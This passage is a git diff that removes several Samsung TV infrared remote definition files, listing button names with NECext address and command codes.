00 -# -name: Dashes -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 25 00 00 00 -# -name: Ttx/Mix -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: P.Size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 -# -name: TV/DTV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 43 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 46 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 47 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 48 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 49 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4A 00 00 00 -# -name: Tools -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: Dma -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 63 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: Enter/OK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: ChList -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: W.Link -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 8C 00 00 00 -# -name: E.Mode -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 94 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir deleted file mode 100644 index b654fa312..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: PMode -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 28 00 00 00 -# -name: TTXMIX -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: PSize -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 -# -name: FastBackwards -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 46 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 47 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 48 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 49 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4A 00 00 00 -# -name: Tools -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: DMA -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 63 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: ChList -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: SRS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6E 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 8B 00 00 00 -# -name: EMode -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 94 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir deleted file mode 100644 index bf98fc0f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MTS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: Pre-Ch -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: Dash -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 25 00 00 00 -# -name: P.Mode -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 28 00 00 00 -# -name: S.Mode -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2B 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: P.Size -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 44 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 46 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 47 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 48 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 49 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4A 00 00 00 -# -name: Tools -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: ChanList -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: SRS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir deleted file mode 100644 index 4f8b935cc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: Pre-Ch -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 25 00 00 00 -# -name: TTX/Mix -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 44 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 46 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 47 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 48 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 49 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4A 00 00 00 -# -name: Tools -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: Ch.List -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 -# -name: Content -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 79 00 00 00 -# -name: Media.P -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 8C 00 00 00 -# -name: Internet -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 93 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir deleted file mode 100644 index 3fe3e4b18..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: PRE-CH -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 25 00 00 00 -# -name: TEXT-MIX -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 44 00 00 00 -# -name: TOOLS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: ENTER-OK -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: CH_LIST -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir deleted file mode 100644 index aef48fe3b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BTN_SOURCE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: BTN_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: BTN_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: BTN_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: BTN_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: BTN_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: BTN_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: BTN_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: BTN_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: BTN_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: BTN_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: BTN_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: BTN_CH- -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: BTN_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: BTN_CH+ -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: BTN_PRE_CH -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: BTN_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: BTN_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: BTN_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: BTN_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: BTN_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: BTN_INFO -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1F 00 00 00 -# -name: BTN_MINUS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 23 00 00 00 -# -name: BTN_CC -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 25 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 2D 00 00 00 -# -name: BTN_PSIZE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 3E 00 00 00 -# -name: BTN_FAV_CH -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 44 00 00 00 -# -name: BTN_TOOLS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4B 00 00 00 -# -name: BTN_GUIDE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 4F 00 00 00 -# -name: BTN_RETURN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 58 00 00 00 -# -name: BTN_UP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 60 00 00 00 -# -name: BTN_DOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 61 00 00 00 -# -name: BTN_RIGHT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 62 00 00 00 -# -name: BTN_LEFT -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 65 00 00 00 -# -name: BTN_ENTER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 68 00 00 00 -# -name: BTN_CH_LIST -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6B 00 00 00 -# -name: BTN_RED -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 6C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir deleted file mode 100644 index b4a05aef6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Dual -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 00 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 01 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 07 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0B 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 12 00 00 00 -# -name: Pre-Ch -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 13 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 14 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 15 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 16 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1A 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 07 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed 